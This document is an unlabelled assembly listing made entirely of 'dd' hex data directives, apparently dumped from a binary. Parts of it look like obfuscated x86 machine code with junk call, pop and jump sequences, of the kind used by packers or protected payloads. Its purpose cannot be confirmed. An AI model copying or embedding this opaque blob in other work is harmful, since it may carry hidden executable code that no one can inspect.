dd 0E097F9E3h, 0A15ABC23h, 8544A7BAh, 0B104E2C8h, 0B9F36925h
dd 2E060FD8h, 0D9964DB2h, 0CCB3D3F3h, 0A8F490D1h, 1C0349E3h
dd 0E71EC8C3h, 0B4AFD854h, 0D854E70Ah, 0DC222F75h, 406EBDFEh
dd 6BD854E7h, 4FFCEEABh, 24D88CCDh, 20h, 25DEB085h, 8BE433Eh
dd 0A1E7E3A8h, 0E62995E4h, 0D292D857h, 0B2282381h, 0C74DD88Bh
dd 0AE000000h, 0FC5F97F9h, 0E5A259BCh, 3C22DFFFh, 9FB25F1Ch
dd 7CA17F3Ah, 389F5C17h, 0F52D94D6h, 99B9D990h, 81389FB2h
dd 0BF00DEC4h, 10A5DB12h, 577675E3h, 541939F0h, 8DE39AABh
dd 9DC2A095h, 82AD7C3Bh, 0DDBEA4AEh, 0C6288C9Fh, 8659A7D1h
dd 0A987A786h, 9A692284h, 987F700Eh, 0AAF8609Dh, 112431E3h
dd 446EF7AEh, 2FD852FCh, 0DF0702E9h, 0C8D852FCh, 687B6282h
dd 36794803h, 0BC271AD1h, 0AC5EB37h, 3A6D747h, 70D00000h
dd 3399DCABh, 76AAD7Ch, 0DA3E8150h, 0AA0F5221h, 295B20EFh
dd 0D1A05BC0h, 9F6E2D8Eh, 6F3EF55Ch, 4211CA2Ch, 79615CBDh
dd 22D8518Fh, 94F907FCh, 69CB0EDDh, 54B8CBB2h, 16F4DA97h
dd 97F96CC3h, 5ABC23E0h, 4846D2A1h, 0BB7ADDF0h, 278F18FEh
dd 50DDBEF7h, 0AA03EA0Ah, 95733697h, 0A81CFB88h, 0A966ACE3h
dd 57D2725Ah, 712889D8h, 2CEB4DB4h, 0E6A5086Fh, 68B44329h
dd 0B7A5632Bh, 74D8EBFAh, 3614FAB7h, 563DB6C8h, 4139D65Bh
dd 6A397FE6h, 8E73AAE1h, 0A9F70FB7h, 92709047h, 0E097F959h
dd 0A15ABC23h, 0B74846D2h, 801F99D0h, 61ADDC79h, 0DE577F7Ah
dd 0FA40DDBEh, 4558B11Ch, 474229E0h, 0DDBEDE9Fh, 0D7E4C208h
dd 0E3A82496h, 0FD4C094Fh, 0D857B7D1h, 4A45CB2Eh, 0D857B760h
dd 0E8A5C50Bh, 81E51D81h, 86EDAACAh, 0C7AD6A21h, 0B431014h
dd 0AA257636h, 0B7B23097h, 0D857B70Fh, 55123278h, 843916Fh
dd 0B1D88BFDh, 0FC2F9C7Ah, 14778A4Bh, 92B29855h, 2A05B4h
dd 0B0660000h, 433E25DEh, 0E3A808BEh, 0DB94FA0Dh, 3597381Eh
dd 0C1079876h, 0E609B504h, 0F2B2D857h, 0B20843A1h, 0E06DD88Bh
dd 0CE000000h, 0FD5F97F9h, 7B9B813Eh, 37F257BEh, 5AD83D50h
dd 0BEF7775Fh, 0BADA20DDh, 0D2349BDCh, 93F55C19h, 6DA05D4h
dd 0F7DDBEFBh, 0E7C57EE4h, 0D8A760C2h, 0B7743395h, 99FD7707h
dd 7D7825E2h, 0DDBEF255h, 0B8D8F83Eh, 0F935D6D1h, 0A8EEE3A7h
dd 0FCF750D9h, 0D857FCD2h, 2B9977BDh, 62BBA253h, 57FC7F67h
dd 41E228D8h, 0E04B29E0h, 43BBA6E5h, 52397FE6h, 0C780E6F9h
dd 0A45FC4E9h, 8F48AABDh, 802A25D2h, 0EBD66A32h, 82E485A5h
dd 48260CC9h
dd 964DB2F5h, 0D3F90EA3h, 49B97CCBh, 1C4h, 0FECD8EEEh
dd 0CF9E55BBh, 0A372298Ch, 703FFC60h, 4211C82Dh, 7DE2077Dh
dd 53B4F7C6h, 1F86C998h, 0F4569968h, 7EDF6433h, 518D5B83h
dd 291E44D8h, 0EDD94F9h, 89312C85h, 0F2DDBEF7h, 47A9CEACh
dd 0B36AC190h, 0A17F3CA0h, 0C3AA5B33h, 0A8083BC8h, 69266CE3h
dd 7E6863BCh, 29D857E6h, 0CAF805E3h, 0F5D857E6h, 56696435h
dd 0D5B39F2h, 0D88BB23Eh, 0D437h, 97F99800h, 8DA0F9E0h
dd 0FEE87128h, 0A9DDBEF7h, 97448563h, 0A7641F84h, 20BCF81Ch
dd 0BFDF93D2h, 9C57BCE1h, 98D090DFh, 91F3DDBEh, 66C80BDAh
dd 423DBF24h, 0DDBE9F98h, 0B69DBD03h, 0BE9F13BBh, 16367CDDh
dd 1CD5A959h, 8883DC35h, 0DDBE9F5Eh, 9C5FF91h, 637059CDh
dd 51323F1Dh, 4AE3A776h, 6B4C255Fh, 847F451Bh, 0D8576F5Ah
dd 0BFDFFF45h, 0D92A64F0h, 9FEABBF2h, 0AAE98572h, 846661CCh
dd 5FE64306h, 0BA1F3219h, 88ED30FFh, 5C73DED1h, 0EAADCBD2h
dd 0B77Ah, 0CA81E100h, 9952B8FBh, 652487CAh, 34EF5396h
dd 6BD2265h, 0D7127237h, 0A5E8B772h, 73B68544h, 4386550Ch
dd 0D65B2AE1h, 8C507A75h, 153BD851h, 5C94F920h, 4F1E3EF5h
dd 22F1AA0Ch, 0E097F9CBh, 0A15ABC23h, 0B74846D2h, 6878D5D0h
dd 0E329E3AEh, 2667926h, 0E4466B49h, 0B8CB5423h, 0F6DC9952h
dd 5991F318h, 3EA041F8h, 0BADAC07Dh, 9929AEFDh, 2F784E3Dh
dd 28C8AF8h, 0A142042Dh, 0E4CA873Eh, 8C1B5806h, 0A15E1579h
dd 56B8DDBBh, 2183C695h, 0A700AD6Ah, 0BD2002ACh, 49276DA9h
dd 4603C024h, 2FE4B5E1h, 0FC3F0ECDh, 0B424E19Ah, 8, 39A0B313h
dd 4803A482h, 25E299F9h, 0DE9B5CBEh, 9C591077h, 5815D435h
dd 18D58CF1h, 0D8954CB1h, 99560D71h, 5B18CF32h, 18D58EF4h
dd 0E7895781h, 4C781h, 0EF810000h, 4, 5C243C87h, 68242C89h
dd 5AEAh, 52243C89h, 0C281E289h, 4, 4EA81h, 14870000h
dd 0C895C24h, 0BA525624h, 0F8E7124h, 0BF5AD689h, 0F66100A0h
dd 815EF701h, 4ECh, 24248900h, 4240481h, 59000000h, 8904EC83h
dd 2C81243Ch, 135A4424h, 8418F0Dh, 44084181h, 8B0D135Ah
dd 8951240Ch, 4C181E1h, 81000000h, 4C1h, 240C8700h, 2434FF5Ch
dd 4C4835Fh, 0FACDA0E9h, 0DBC9D4FFh, 7BF4B881h, 0C50305EFh
dd 0DE0FE0FFh, 0A2A420ABh, 0DA80EB9h, 0A8993030h, 1657EAEh
dd 80C87440h, 0ED7C2E4Bh, 0CFE24B1Fh, 70EF719Ch, 0AE0861C7h
dd 0EDBC1C63h, 678A7BC2h, 46D15C39h, 414D467Bh, 0E7E727E6h
dd 8D8D247Eh, 5EF7DB3h, 2A258D29h, 8D8905E9h, 5E92655h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0FCC35646h
dd 0AA81EEE5h, 0CE8h, 0D10B4900h, 532865Ch, 617C9D3Eh
dd 0ACD081FBh, 5A1C7F57h, 31559589h, 85C705E9h, 5E90805h
dd 7510h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 1Dh, 10C35343h, 12F24723h, 5C5FDE05h, 3D85C7D4h, 5E916h
dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 14042444h, 40000000h, 0FF14C350h, 0E910E9B5h, 50006A05h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h
dd 34AA450Eh, 8B01E6D0h, 0C595FFC7h, 8905E90Bh, 0E92CF19Dh
dd 0D38B5305h, 0FF006A5Ah, 0E91E9595h, 0EBC08B05h, 0A6E9FA7Fh
dd 0F781E5F1h, 25256F0Ch, 0C7111E3h, 93F10CA1h, 19EB38C2h
dd 765565E4h, 3097D800h, 46CA9AE5h, 7DB9779h, 0CDC0F715h
dd 0BDFDBB11h, 28764DA6h, 2D37FED9h, 72370DB0h, 5CDB7EF3h
dd 0BF401B70h, 800A2AA8h, 1455F37Fh, 0D477406h, 7E02C474h
dd 1B55C854h, 470DC037h, 0C87A5F0Ch, 0C530378Bh, 0D3D0A74Eh
dd 66B47F2Bh, 0B514320Fh, 6F028764h, 8D22C8FBh, 46EA2E52h
dd 17005B99h, 10E8h, 60AE3B00h, 1EB4007h, 97C06173h, 76CA2AE8h
dd 6E9CFh, 14A30000h, 27A90464h, 0BD95895Ah, 8105E923h
dd 6C97C2h, 819D8B00h, 3305E904h, 39BD8BC0h, 8B05E918h
dd 0FE8B0234h, 70E1C681h, 0B70F310Dh, 59F681CAh, 897F9D65h
dd 0E91089B5h, 0DBC68105h, 564A957Fh, 28719589h, 48F05E9h
dd 8AD88B02h, 2E883F9h, 245D9589h, 484805E9h, 17ED8D89h
dd 0F88105E9h, 0FFFF93ECh, 0FFB5850Fh, 9D0BFFFFh, 5E90A9Dh
dd 7F798D8Dh, 8D8905EFh, 5E92655h, 2955BD8Bh, 85C705E9h
dd 5E90805h, 671Ch, 6840Fh, 8D890000h, 5E92F75h, 163D85C7h
dd 5E9h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 160424h, 57470000h, 0F9A7DDC3h, 1F31858Bh, 9D3105E9h
dd 5E9057Dh, 3F5B5FFh, 6A05E9h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 1B0424h, 51410000h, 0BE7238C3h, 0AA845523h
dd 0C595FF5Dh, 6A05E90Bh, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 16042444h, 46000000h, 0B478C356h, 89958BB9h
dd 6A05E92Ah, 9595FF00h, 8B05E91Eh, 6C0DEBC0h, 8D2A7DC8h
dd 8B72BFCAh, 0F2626671h, 80AF8D8Dh, 11E905EFh, 60000000h
dd 75B66B95h, 33B97275h, 35C4FDA0h, 478EAC42h, 26558D89h
dd 6A05E9h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
dd 51410000h, 0CADC83C3h, 0BCAB1468h, 8E0FEA5Fh, 6, 1061858Bh
dd 85C705E9h, 5E90805h, 6440h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 16h, 5BC35646h, 81669279h, 66D656EAh
dd 6CFC781h, 19DBBB66h, 163D85C7h, 5E9h, 6A0000h, 3E851h
dd 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
dd 0D293C1C3h, 0E00DFBD2h, 995897Fh, 0FF05E932h, 0E9321DB5h
dd 51006A05h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h
dd 0C3514100h, 88167643h, 0C595FF5Ch, 6A05E90Bh, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
dd 0B701C351h, 800F4227h, 0Ah, 95A5360h, 0E92D09B5h, 8F0F6105h
dd 1, 0FF006AF9h, 0E91E9595h, 0EBC08B05h, 0B9A1230Eh, 5C0FFC0h
dd 0ACBB5A84h, 8D187931h, 0EF81AD8Dh, 0A1BD0305h, 8905E924h
dd 0E926558Dh, 51006A05h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1B04h, 0C3514100h, 0BDB3EE27h, 2D60D44Ch
dd 80585C7h, 5F8805E9h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 1C0424h, 57470000h, 0FA26DC3h, 7F69E73Eh
dd 85C75162h, 5E9163Dh, 0
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 49C35545h
dd 8D010A12h, 5E93131h, 55B5FFh, 816605E9h, 0FFFD28F3h
dd 0E90BC595h, 52006A05h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1D04h, 0C3524200h, 61A4B608h, 0EDB43C13h
dd 11E88A89h, 0B7000000h, 0C429D2A8h, 1D4C94A1h, 0FB3214E1h
dd 0DC215EADh, 26B1BD01h, 6A5B05E9h, 9595FF00h, 8B05E91Eh
dd 3C6AEBC0h, 4C15DAB1h, 174B70ACh, 0F1CB8BBCh, 8735290h
dd 37A974C0h, 43DFCD6Eh, 206AD111h, 4CB5078h, 0DAE57026h
dd 5E616961h, 0C959CFCDh, 0A86AE916h, 9317482Fh, 7119BEA8h
dd 8E8C9684h, 83A40867h, 0A88DF01Ch, 3ECCD5E8h, 15B93C86h
dd 2A986529h, 0B4FD50DAh, 8739316Ch, 0A9290181h, 5C8F9992h
dd 939FCC64h, 0BAB06490h, 10E83Ah, 0B9390000h, 3CDCFD68h
dd 0FC1B7C2Fh, 338CB136h, 860F53A5h, 6, 10659589h, 8B5E05E9h
dd 0E927919Dh, 0E1C68105h, 0E900006Dh, 11h, 11E6A0B6h
dd 8575461Eh, 0A8383968h, 687135EDh, 0B965h, 66500000h
dd 0B82AD381h, 3134FF5Bh, 95295FF9h, 5E91935h, 0F9D8F781h
dd 0DF8B697Dh, 9E5FEF81h, 18B442E7h, 6096C781h, 0E3800E4Dh
dd 0E3C89E1h, 5086BB66h, 0FE9h, 73CE5800h, 9B0D4CA4h, 0CDCA8B7Dh
dd 68BBA603h, 4902E983h, 598D2949h, 8105E929h, 0FF9308F9h
dd 24850FFFh, 0E9000000h, 0Bh, 832FA93Ch, 648F1139h, 0E94047D1h
dd 37h, 795E35B8h, 3AE6EBBFh, 0F3355722h, 6066EDABh, 1CD1858Bh
dd 0EE905E9h, 27000000h, 684C1124h, 0A6BA44B6h, 95463E8Ch
dd 66E96171h, 78FFFFFFh, 0BA6B39CDh, 0E80767A3h, 0Dh, 2B6499B9h
dd 3710A5DEh, 0F0A9071Fh, 68F0F50h, 8B000000h, 0E90F4185h
dd 0BF0F5905h, 0CCC181C1h, 66000065h, 2BF4EEBAh, 39DC80F6h
dd 890E34FFh, 0E90BC1BDh, 85295F05h, 5E9224Dh, 0B203F781h
dd 9D8B46C2h, 5E92699h, 0F193C781h, 860F20D9h, 2, 0EF81D98Bh
dd 46956674h, 0D161BB66h, 8FE28A57h, 852B3104h, 5E92219h
dd 0C3CDA81h, 0EE8342ABh, 99BD2901h, 4E05E900h, 8F0F4E4Eh
dd 0Ch, 6820Fh, 0BD290000h, 5E921F9h, 9AD0FE81h, 850FFFFFh
dd 0FFFFFF90h, 4138B866h, 842E8D8Dh, 9D8905EFh, 5E923D1h
dd 26558D89h, 14E905E9h, 0BD000000h, 0E7135270h, 0A6C600A4h
dd 8E0B9040h, 25C7CE24h, 0C7A3F34Dh, 0E9080585h, 635805h
dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h
dd 0C3554500h, 6608E7E7h, 0B589D18Bh, 5E90D15h, 163D85C7h
dd 5E9h, 0FFF50000h, 0E931D5B5h, 95FFF505h, 5E90BC5h, 95FF006Ah
dd 5E91E95h, 1AEBC08Bh, 64F3601Ah, 772D9CF5h, 0E96070FBh
dd 104A72CCh, 75476C62h, 54725ECCh, 8D8DA3ECh, 5EF851Fh
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0E5C35242h
dd 5EF171BCh, 8D89B5DDh, 5E92655h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 1Dh, 0EC35747h, 3E97668Ch, 20BF883Fh
dd 1BF6647h, 585C7E9h, 1C05E908h, 6A000068h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
dd 0DC42C355h, 0F22429Bh, 0F88B36BEh, 163D85C7h, 5E9h
dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h
dd 53430000h, 8975F3C3h, 0E92B49BDh, 39B5FF05h, 8905E928h
dd 0E922DD95h, 0C595FF05h, 8B05E90Bh, 0E903A195h, 0FF006A05h
dd 0E91E9595h, 0EBC08B05h, 0DDBF1B7Ch, 0AF277AECh, 0D3AC9D2Eh
dd 2CE70B87h, 0AD12EA72h, 0D77C8B4Fh, 3D931AEDh, 1D4049DAh
dd 57545B4Dh, 3EB178E7h, 94267091h, 8D6925EBh, 1943A707h
dd 67DDF04Ch, 0A20060D1h, 105EFA64h, 0A39068D6h, 0EA5501F5h
dd 0B50EE8DBh, 0F1248726h, 0AB83019Bh, 534AC79Dh, 0DF648DF4h
dd 0F942D090h, 0BEF92C04h, 89D3CE78h, 24DE4860h, 85661A5Eh
dd 0A1D5071Bh, 25170AFBh, 2A390ADDh, 698D8DE1h, 8B05EF86h
dd 0E919B995h, 558D8905h, 6A05E926h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 0A6C8C357h
dd 34418B22h, 85896601h, 5E92ADDh, 80585C7h, 5D6405E9h
dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
dd 56460000h, 9543C3C3h, 0E2212C4Ch, 85C71662h, 5E9163Dh
dd 0
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0B6C35242h
dd 0CA1C5D46h, 0CE80FA8h, 0B9000000h, 0BF82E93Eh, 0B665E7FAh
dd 1508EBFh, 0E93201BDh, 0B5FF5805h, 5E9326Dh, 1F81BD29h
dd 95FF05E9h, 5E90BC5h, 6AB9E480h, 9595FF00h, 8B05E91Eh
dd 0B049EBC0h, 8E10E6B1h, 64512523h, 0EA3FD063h, 3D60047Dh
dd 0ADB5CF59h, 9FF160E8h, 0ED20A56Eh, 9F26BD7Dh, 0FAEE3C0Dh
dd 0B00ABAA0h, 5FC2F8E0h, 0FD135090h, 270D2085h, 6C59C8B8h
dd 0E7031C64h, 223DDD4h, 0C30E0EF3h, 0EC9A8FA7h, 0FE8h
dd 37C2E000h, 0D1365C61h, 14A78241h, 0E7C3CE68h, 85BD3360h
dd 8B05E90Dh, 0E906818Dh, 895E6105h, 0E9078985h, 0B3C68105h
dd 300006Eh, 0E905F195h, 8BDB2B05h, 0E921C98Dh, 1E048B05h
dd 0BDF081FCh, 8B578D13h, 0E92B998Dh, 38F08105h, 0E818C068h
dd 0Bh, 0C33BCE10h, 924C5302h, 0E928011Eh, 0Ch, 938D3DACh
dd 1E60CF5Eh, 0CEFEBE07h, 6CE88159h, 0E905798Dh, 0Ch, 5E5E00CCh
dd 50218AACh, 0D2F9981Ah, 531E0489h, 2E7D9D89h, 8A5905E9h
dd 6EB81D0h, 663B3F9Dh, 81C7B3BFh, 3F9D02C3h, 0C981663Bh
dd 0FB81F41Ch, 0FFFF9220h, 0F850Fh, 0BF0F0000h, 1AE9CAh
dd 23E60000h, 0D89CAA3Dh, 0ACB966F3h, 0FF6BE96Fh, 8100FFFFh
dd 0BF4DB9C4h, 2A726C9Fh, 13E8h, 2D339400h, 0D201E894h
dd 6AEB93C8h, 0A04C69C2h, 30C3F1DCh, 0FE9h, 7BFAAB00h
dd 0C10EDCE7h, 24ABDCF2h, 12CFA0D5h, 8DBD8B58h, 8105E924h
dd 5C55C0h, 6800h, 958B0000h, 5E90035h, 34FFF95Bh, 7FE68103h
dd 594F4375h, 395FF181h, 0BD896A3Bh, 5E929FDh, 51A7F181h
dd 3601EDCh, 0E90DB18Dh, 6860F05h, 8B000000h, 0E92DBD8Dh
dd 0E9816105h, 1E3EA56Bh, 26D5B589h, 805105E9h, 48F9FD2h
dd 5E9F818h, 64000000h, 0F3806E40h, 6602EB83h, 4BCBF3BFh
dd 0BD7BA4Bh, 0FB812C91h, 0FFFFA454h, 0FF98850Fh, 0BA66FFFFh
dd 8D8D4547h, 5EF8914h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 16h, 8AC35242h, 8D892073h, 5E92655h, 7D1FCB81h
dd 85C76B74h, 5E90805h, 71D8h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 1Ah, 4FC35242h, 2BE86E38h, 858B5F72h
dd 5E92841h, 163D85C7h, 5E9h, 8B660000h, 958B57D0h, 5E90CE1h
dd 1DB5FF5Ah, 6A05E932h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 18042444h, 46000000h, 0BE4AC356h, 8B8F354Bh
dd 0C595FFD0h, 6A05E90Bh, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 1B042444h, 41000000h, 2B3FC351h, 223265ABh
dd 6A8EDFh, 1E9595FFh, 0C08B05E9h, 28E00EEBh, 24473513h
dd 0AC1632B1h, 6C9B5602h, 9E8h, 0D224800h, 605A03A1h, 0BD2B3933h
dd 5E92335h, 0B7E3BA58h, 0C0816257h, 71CFh, 3BBBFA8Bh
dd 816C03EAh, 3CDF7EBh, 8B66606Ch, 61BD89C2h, 6105E911h
dd 0D38B088Bh, 8F1FC181h, 0BF0F618Ah, 0CDE981F7h, 0F012AFBh
dd 684h, 81BD8B00h, 8105E904h, 0E60686C1h, 0BD895659h
dd 5E90AD5h, 8908895Fh, 0E90F2D9Dh, 1E88305h, 0BE8h, 3244900h
dd 0A3CDEAAFh, 358B5E0h, 0A52C4EBFh, 48485F57h, 159D0148h
dd 4B05E92Ch, 0C850Fh, 0B8B60000h, 2BE9h, 4F06B100h, 12E86DEAh
dd 89000000h, 0AE9BC86Ah, 0A68E000h, 716068C6h, 0B0586CADh
dd 0EABF660Eh, 75E95E68h, 6FFFFFFh, 73D3B8F8h, 0EE8h, 3055A700h
dd 74F61393h, 5E5C89F7h, 89408742h, 0E90EA18Dh, 0C6815E05h
dd 5A52h, 85895657h, 5E9090Dh, 0C9335F5Ah, 2B71B589h, 34FF05E9h
dd 59950B31h, 5B05E92Dh, 0F3817BB0h, 0B5D1DCh, 25BD958Bh
dd 0EB8105E9h, 5869602Dh, 9E8h, 3E671400h, 0E39B2B8Fh
dd 9503726Fh, 5E923D1h, 0B7F3815Ah, 291BDC17h, 0E927859Dh
dd 0BD895305h, 5E92ABDh, 0B80E048Fh, 3D2CF7E0h, 2E26BF66h
dd 0BF03E983h, 7C7AA0A8h, 0F981F849h, 0FFFFA644h, 0FF98850Fh
dd 0D1B8FFFFh, 8255946Ch, 889A075h, 0DC781469h, 4C8F8DA6h
dd 2E8635CCh, 908635A1h, 4818D925h, 99053025h, 176F1A94h
dd 98023F25h, 7863025h, 0AB8BC598h, 0A5893020h, 908630A1h
dd 4663B5E3h, 0CCC835CCh, 12863021h, 0A1C4E765h, 0A0C2BB75h
dd 0CB86BB21h, 79821461h, 0BA3785DAh, 0CD0B35CCh, 216A4A4Ah
dd 0E20DE0DAh, 763B5E3h, 6CC835CCh, 42863021h, 89C4E765h
dd 0B4C2BB75h, 0C186BB21h, 7C821461h, 1F7385DAh, 8C0B35CCh
dd 816A4A4Ah, 0BA0DE0DAh, 2186209Ch, 908ED925h, 47203025h
dd 24863EA0h, 0DB8D7925h, 0F676B52Ah, 896FCFDAh, 0CF863025h
dd 0C8C85DB8h, 90838820h, 0AB793025h, 0AE088DA8h, 9F0B35CAh
dd 0C69BB78h, 0B4A3229Dh, 82491BA3h, 889A075h, 0DC781469h
dd 4C8F8DA6h, 2E8635CCh, 908635A1h, 4818D925h, 99053025h
dd 0E9831A94h, 0B9A4F305h, 22h, 14E8h, 9509A000h, 5257994Ah
dd 8945F780h, 0CA93B992h, 36C690C5h, 81F55B8Bh, 66ACC3h
dd 0F98B6600h, 198868h, 0FB8B6600h, 198D8B5Eh, 8B05E928h
dd 0AE913h, 0B5FA0000h, 898F6C6Ah, 0C79601C4h, 5AFDF281h
dd 8B6603BFh, 66F281C2h, 8B5D6776h, 0E9322185h, 0A6EA8105h
dd 891DFA0Dh, 0E932C9BDh, 8B138905h, 4EB83C7h, 12E8h, 0FDF02C00h
dd 0FEF42E14h, 9AD4FE24h, 29ACD3C3h, 0B932FDEEh, 43C0C94Eh
dd 1EE8358h, 0FFA1850Fh, 8B66FFFFh, 0F704EBC6h, 0E9046B7Eh
dd 896h, 1B385F9Fh, 0ADCAF935h, 3E5B8AC7h, 0CDEA1D58h
dd 617EA9E7h, 0EF2D855Dh, 80C1A7C4h, 17563C59h, 0AFE9CFECh
dd 0B1925F7Ch, 26964303h, 14F24B13h, 0C91AD5EEh, 0C6F32D16h
dd 612B598Ch, 51A9E2FFh, 8F903EE1h, 8F1C3216h, 0E927EB19h
dd 81BBA1BEh, 97D1AB4Eh, 4B0FC764h, 0C3BDE11h, 0A9DF328Eh
dd 9E56F3BEh, 7E264FAEh, 3F6E1144h, 0AE32E09Bh, 0D7126E0Ah
dd 336007A4h, 0DE226412h, 36AC1320h, 1316BA99h, 780A4526h
dd 0D0000000h, 3960A17Bh, 0D90C470Bh, 0B6F4DA77h, 5B995D8Bh
dd 0BE6C8D30h, 16C91AF8h, 0DDA14F06h, 0E116C91Ah, 0B46C096Bh
dd 941065C4h, 2F0E2B56h, 40CFD361h, 427Fh, 84C24500h, 0AE932B59h
dd 0D416C91Ah, 763A6897h, 68E00E35h, 0C7425C19h, 1536274Eh
dd 0C91A2767h, 3867A316h, 72E8400Ah, 86B1EFD5h, 65E0B4E3h
dd 17E72055h, 0FC0951Ah, 7F1C877Eh, 3DFAD8h, 7B3A0000h
dd 0A343424Ch, 0EE8BE5E9h, 0FC9FCA08h, 55692DDBh, 5F1C16C9h
dd 3E98AE5Bh, 15B22880h, 6283C55Dh, 4F16C9h, 0C6F12F75h
dd 12540223h, 9C16C962h, 824F8BD7h, 0F55779B9h, 6F83B158h
dd 0F6B86617h, 0F816C91Ah, 0CF7D2082h, 1C31F34Ah, 642856CCh
dd 0F5DBF827h, 505B89B8h, 3C3D812Fh, 7EBD1320h, 35B2553h
dd 5FB7F08Dh, 5491B6F5h, 0CB2DF725h, 0CE71D39Dh, 3CBFFFADh
dd 0C93F1320h, 2851FF2Ch, 6E19DB35h, 6FE6CAF8h, 32619E06h
dd 0C3F22F15h, 0D51FF20h, 9116C93Bh, 2EC67E1Bh, 16C93B78h
dd 79DD875h, 3366A1CAh, 0BCD93B05h, 64196F8Eh, 0C91AF0B6h
dd 90BBFA16h, 0BC60C238h, 3366A17Bh, 0C2D2DE96h, 7BB15588h
dd 83665A1h, 0CDFAA13Eh, 0ED8AB5F3h, 0CB17C9BFh, 3F2943CFh
dd 0EF000000h, 0B664196Fh, 16C91AF0h, 822688FEh
dd 1A89CD7Bh, 501516C9h, 5F6A6883h, 38DB3D70h, 1AF235Eh
dd 16C9B7BDh, 0B869CB41h, 0D0231EAAh, 0E715B298h, 85C2597Bh
dd 379DB256h, 69CAh, 196F0A00h, 0D1954364h, 0DD16C91Ah
dd 1A773767h, 17716C9h, 65918850h, 0CD2F2349h, 0DA90FB2Ah
dd 0ECAB2EB3h, 5A7B214Fh, 1ACB8B39h, 0ED316C9h, 11F57694h
dd 0B915771Eh, 0FAB45178h, 16C982B4h, 0AAD915EFh, 1ABE220Dh
dd 0A17B597Bh, 9EDD3960h, 0B3F0D673h, 1AD19543h, 9ED916C9h
dd 944E136Bh, 695775E7h, 0CD71D335h, 88C2379Dh, 0ED1C2755h
dd 0AB594CFCh, 16C99CEBh, 24CC7DF3h, 1BB584Ah, 16CC158Fh
dd 4A136285h, 66033670h, 70134680h, 5A748B41h, 0B956A206h
dd 0C3EE2C12h, 76DBF120h, 9EA4B16Ah, 0CD7BAEF0h, 58BA3016h
dd 6A52D3A7h, 8B287048h, 0A6D10FD3h, 4A75B478h, 0EB1E581Ch
dd 76ECDBDh, 0C5B00F97h, 3E7CA1DFh, 4AACDF19h, 24ECCBE8h
dd 3C40CB12h, 55h, 0BCEF2903h, 0F927C48Eh, 275588C2h, 5907B810h
dd 16C91A15h, 0C1E82999h, 2AB7AE5Fh, 13177516h, 13600EB1h
dd 931C3238h, 0C6E1EF1Dh, 5AEB697h, 0E4AA1153h, 0C9E39486h
dd 0D90EAB8Ah, 9BCE089Ch, 0B4C4C9F8h, 24CC4623h, 92B3E087h
dd 2053A2E4h, 19B62C13h, 5588C2EBh, 48B81027h, 1B42F7A5h
dd 1E941C32h, 0EAAC5A7Bh, 0F4132015h, 692DDB7Eh, 75132015h
dd 8DBB62FFh, 1A5196Fh, 0CF0BE5F0h, 0BA872A0h, 5588C2DDh
dd 0FAD401B1h, 0C3F18EBDh, 0CFCB17C9h, 20EE1D43h, 0F2215E8Fh
dd 4E763041h, 0ED8AB1F2h, 45CCh, 196F9200h, 1AF0B664h
dd 8EFE16C9h, 62C4264Dh, 89CD7BBEh, 1516C91Ah, 597BFB9Fh
dd 0B25685C2h, 6917389Dh, 16C91A25h, 689633A9h, 4ECAh
dd 3CEA0B00h, 16C91A7Ah, 0BA124580h, 0F2015BF5h, 0C022F462h
dd 196FF523h, 0EC2802A5h, 69C58FBDh, 3260FD2Ch, 42805A7Bh
dd 821FE917h, 0C91A86C8h, 0F89BFF16h, 14B1E41Eh, 0C2597BE6h
dd 9DB25685h, 0CA910938h, 37154BF0h, 0D49ECCFBh, 0C2A7D572h
dd 8F275588h, 16CC99FDh, 0A9D70241h, 4A78ABE5h, 247AFB5Ah
dd 8A1A5B7Eh, 0D3001D50h, 5D8BBEF9h, 0D210F693h, 77B579A7h
dd 1E5A1E4Ch, 0BEFDC1EFh, 9EED6593h, 0E03FC7D7h, 0A6D10F95h
dd 0BBEE2903h, 7F26C38Dh, 0CB56F0A0h, 0C90AE440h, 0DA0946A2h
dd 391C3Dh, 0C2E20000h, 0D8B25588h, 77416F9Ah, 3D1722DAh
dd 0FA33D003h, 0E18F32A2h, 1C321ED8h, 0B5F9A75Eh, 39132016h
dd 62DB12C3h, 8A1682Ah, 476A78A6h, 17552F2Eh, 2F694FECh
dd 7BB1DFFCh, 0B3960A1h, 84BEA441h, 1A1C6210h, 2CA216C9h
dd 55F827CAh, 0D3FE3D2Eh, 0FE671E22h, 3A92A961h, 376594D0h
dd 0D8063973h, 0E1FBAC0Eh, 0C46405h, 0F5A346A8h, 1C326328h
dd 0F52340B6h, 1A5196Fh, 0A17BE4F0h, 0B49A3762h, 1A3477Ah
